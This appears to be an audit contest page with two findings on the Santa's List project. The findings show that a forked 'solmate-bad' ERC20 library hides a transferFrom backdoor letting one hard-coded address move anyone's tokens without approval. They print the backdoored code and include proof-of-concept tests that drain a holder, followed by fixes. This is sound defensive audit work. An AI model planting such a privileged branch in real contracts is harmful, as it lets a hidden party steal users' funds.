SantaToken is documented as *"based off solmate"*, linking `transmissions11/solmate`, and is
described as *"a typical ERC20"* whose only changes are that mint and burn are restricted to
`SantasList`.
- The `@solmate` remapping points at `lib/solmate-bad`, not upstream. That file's `transferFrom`
opens with a branch for one hard-coded address that moves any balance and returns **before** the
allowance is read. `git show c3877e5` inside `lib/solmate-bad` confirms this eleven-line insertion
is the only semantic divergence from upstream; the rest of that commit is a `forge fmt` reflow.
```solidity
// src/SantaToken.sol:4 → foundry.toml:7 '@solmate=lib/solmate-bad'
@> import {ERC20} from "@solmate/src/tokens/ERC20.sol";
// lib/solmate-bad/src/tokens/ERC20.sol:86-98
function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
// hehehe :)
@> if (msg.sender == 0x815F577F1c1bcE213c012f166744937C889DAF17) {
balanceOf[from] -= amount;
unchecked { balanceOf[to] += amount; }
emit Transfer(from, to, amount);
@> return true; // returns BEFORE :98
}
uint256 allowed = allowance[from][msg.sender]; // :98 — never reached
```
### Risk
**Likelihood:** Medium — the capability is unconditional and permanent, but exercising it requires
control of one specific address.
- The holder of that key calls `transferFrom` directly against any balance, at any time, with no
setup.
- The contest's trust model does not address the `solmate-bad` author at all — no trust is granted,
withheld, or implied.
**Impact:**
- 100% of the `SantaToken` supply is seizable, with `allowance == 0` before the call and no allowance
consumed. Every other address is correctly refused, so this is a granted privilege rather than a
bug anyone can use.
- Unfixable after deployment. The PoC probes both contracts for `pause()`, `owner()` and a token
setter and proves all three absent; `i_santa` and `i_santaToken` are `immutable` with no setters
and there is no proxy.
**Not claimed:** that address is not the deployer and holds no role in `src/` — `i_santa =
msg.sender`. It appears once elsewhere in the tree, lower-cased, as the `@author` of
`SantasList.sol:55`. That is suggestive and is not proof of control, so this finding rests on what
the code grants, not on who holds the key.
**Scope:** `lib/` is outside the stated `./src/` file list. The in-scope statement is that
**`SantaToken.sol` confers unlimited transfer authority over every holder on a party named nowhere in
its own source.**
### Proof of Concept
```solidity
address constant BACKDOOR = 0x815F577F1c1bcE213c012f166744937C889DAF17;
function test_F05_seizureWithNoAllowance() public {
_grade(alice, SantasList.Status.EXTRA_NICE);
vm.prank(alice);
list.collectPresent(); *// alice holds 1e18 SANTA*
assertEq(token.allowance(alice, BACKDOOR), 0);
vm.prank(BACKDOOR);
token.transferFrom(alice, BACKDOOR, 1e18); *// no approval anywhere*
assertEq(token.balanceOf(alice), 0);
assertEq(token.balanceOf(BACKDOOR), 1e18);
}
```
### Recommended Mitigation
```diff
# foundry.toml
- '@solmate=lib/solmate-bad',
+ '@solmate=lib/solmate',
```
Install `transmissions11/solmate`, pin dependencies by commit, and diff them against upstream before
release. A remapping is the cheapest place in a Foundry project to hide a privileged branch.
## Description A malicious code is detected in a modified version of the Solmate ERC20 contract inside the `transferFrom` function. The library was forked from the Solmate repository and has been modified to include the malicious code. The `SantaToken` contract inherits this malicious ERC20 contract which brings all the risks inside the SantaToken contract that are associated with the modified ERC20 contract. The code is modified in such a way to allow a specific address to transfer tokens without checking for allowances and thus it causes token transfers without the permission of the users. ## Vulnerability Details Instead of using the official [Solmate's](https://github.com/transmissions11/solmate) ERC20 contract a [forked Solmate](https://github.com/patrickalphac/solmate-bad/tree/c3877e5571461c61293503f45fc00959fff4ebba) library was used which contains the modified ERC20 contract. The vulnerability arises due to the usage of unofficial solmate repo which was forked from official solmate containing a commit involving the malicious code injected inside the `transferFrom` function of the Solmate's ERC20 contract. The malicious code added to the `transferFrom` function allows a specific Ethereum address `0x815F577F1c1bcE213c012f166744937C889DAF17` to transfer tokens from any other address to a target address. This is done without checking the approval status of the `from` address. This could lead to unauthorized token transfers, potentially draining accounts without the account owner's consent. The address `0x815F577F1c1bcE213c012f166744937C889DAF17` is the same address of the `South Pole Elves` mentioned in the `@author` field for the Smart Contracts [here](https://github.com/Cyfrin/2023-11-Santas-List/blob/main/src/SantasList.sol#L55). The malicious code starts from the line 87 to line 96 inside the `transferFrom` in the modified Solmate's ERC20 contract. ```cpp function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) { @> // hehehe :) @> // https://arbiscan.io/tx/0xd0c8688c3bcabd0024c7a52dfd818f8eb656e9e8763d0177237d5beb70a0768d @> if (msg.sender == 0x815F577F1c1bcE213c012f166744937C889DAF17) { @> balanceOf[from] -= amount; @> unchecked { @> balanceOf[to] += amount; @> } @> emit Transfer(from, to, amount); @> return true; @> } uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals. if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount; balanceOf[from] -= amount; // Cannot overflow because the sum of all user // balances can't exceed the max uint256 value. unchecked { balanceOf[to] += amount; } emit Transfer(from, to, amount); return true; } ``` ## Impact This vulnerability allows the attacker (with the ethereum adress - `0x815F577F1c1bcE213c012f166744937C889DAF17`) to arbitrarily transfer tokens from any address to any other address without requiring approval from the `from` address to attacker's address. This can lead to significant financial loss for token holders and can undermine the trust in the SantaToken. Since the malicious code is present in ERC20 contract which is inherited in `SantaToken` which will allow the attacker to arbitrarily transfer SantaToken from any address to any other address and use the stolen SantaToken to buy present. Furthermore, if there are any other services which can be availed with SantaToken, then attacker can benefit from all of them. ## PoC Add the test in the file: `test/unit/SantasListTest.t.sol`. Run the test: ```cpp forge test --mt test_ElvesCanTransferTokenWithoutApprovals ``` ```cpp function test_ElvesCanTransferTokenWithoutApprovals() public { // address of the south pole elves address southPoleElves = 0x815F577F1c1bcE213c012f166744937C889DAF17; vm.startPrank(santa); // Santa checks user once as EXTRA_NICE santasList.checkList(user, SantasList.Status.EXTRA_NICE); // Santa checks user second time santasList.checkTwice(user, SantasList.Status.EXTRA_NICE); vm.stopPrank(); // christmas time 🌳🎁 HO-HO-HO vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME()); // User collects their NFT and tokens for being EXTRA_NICE vm.prank(user); santasList.collectPresent(); // Now the user have some SantaTokens uint256 userBalance = santaToken.balanceOf(user); assertEq(userBalance, 1e18); // user needs to give approval to others in order to move tokens to other addresses via 'transferFrom' // but the south pole elves can move tokens of anyone without approval permissions vm.prank(southPoleElves); bool success = santaToken.transferFrom(user, southPoleElves, userBalance); assert(success == true); assertEq(santaToken.balanceOf(user), 0); assertEq(santaToken.balanceOf(southPoleElves), userBalance); } ``` ## Recommendations - Santa should first identify the specific elves who were responsible for the malicious code and start their counselling as soon as possible and teach them a nice lesson so that they don't write smart contracts with malicious intent and should also motivate them to apply to Cyfrin Updraft. - Use the ERC20 contract from the official Solmate's library. Always verify the code before it is used in the SmartContract and always use code from official source. - Delete the malicious forked solmate library from the `lib` folder. - Refactor the library installs in every place. - `Makefile (Line - 13)` ```diff - install :; forge install foundry-rs/forge-std --no-commit && forge install openzeppelin/openzeppelin-contracts --no-commit && forge install patrickalphac/solmate-bad --no-commit + install :; forge install foundry-rs/forge-std --no-commit && forge install openzeppelin/openzeppelin-contracts --no-commit && forge install transmissions11/solmate --no-commit ``` - `foundry.toml` ```diff remappings = [ '@openzeppelin/contracts=lib/openzeppelin-contracts/contracts', - '@solmate=lib/solmate-bad', + '@solmate=lib/solmate', ] ``` - `.gitmodules` ```diff [submodule "lib/forge-std"] path = lib/forge-std url = https://github.com/foundry-rs/forge-std [submodule "lib/openzeppelin-contracts"] path = lib/openzeppelin-contracts url = https://github.com/openzeppelin/openzeppelin-contracts -[submodule "lib/solmate-bad"] - path = lib/solmate-bad - url = https://github.com/patrickalphac/solmate-bad +[submodule "lib/solmate"] + path = lib/solmate + url = https://github.com/transmissions11/solmate ```
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.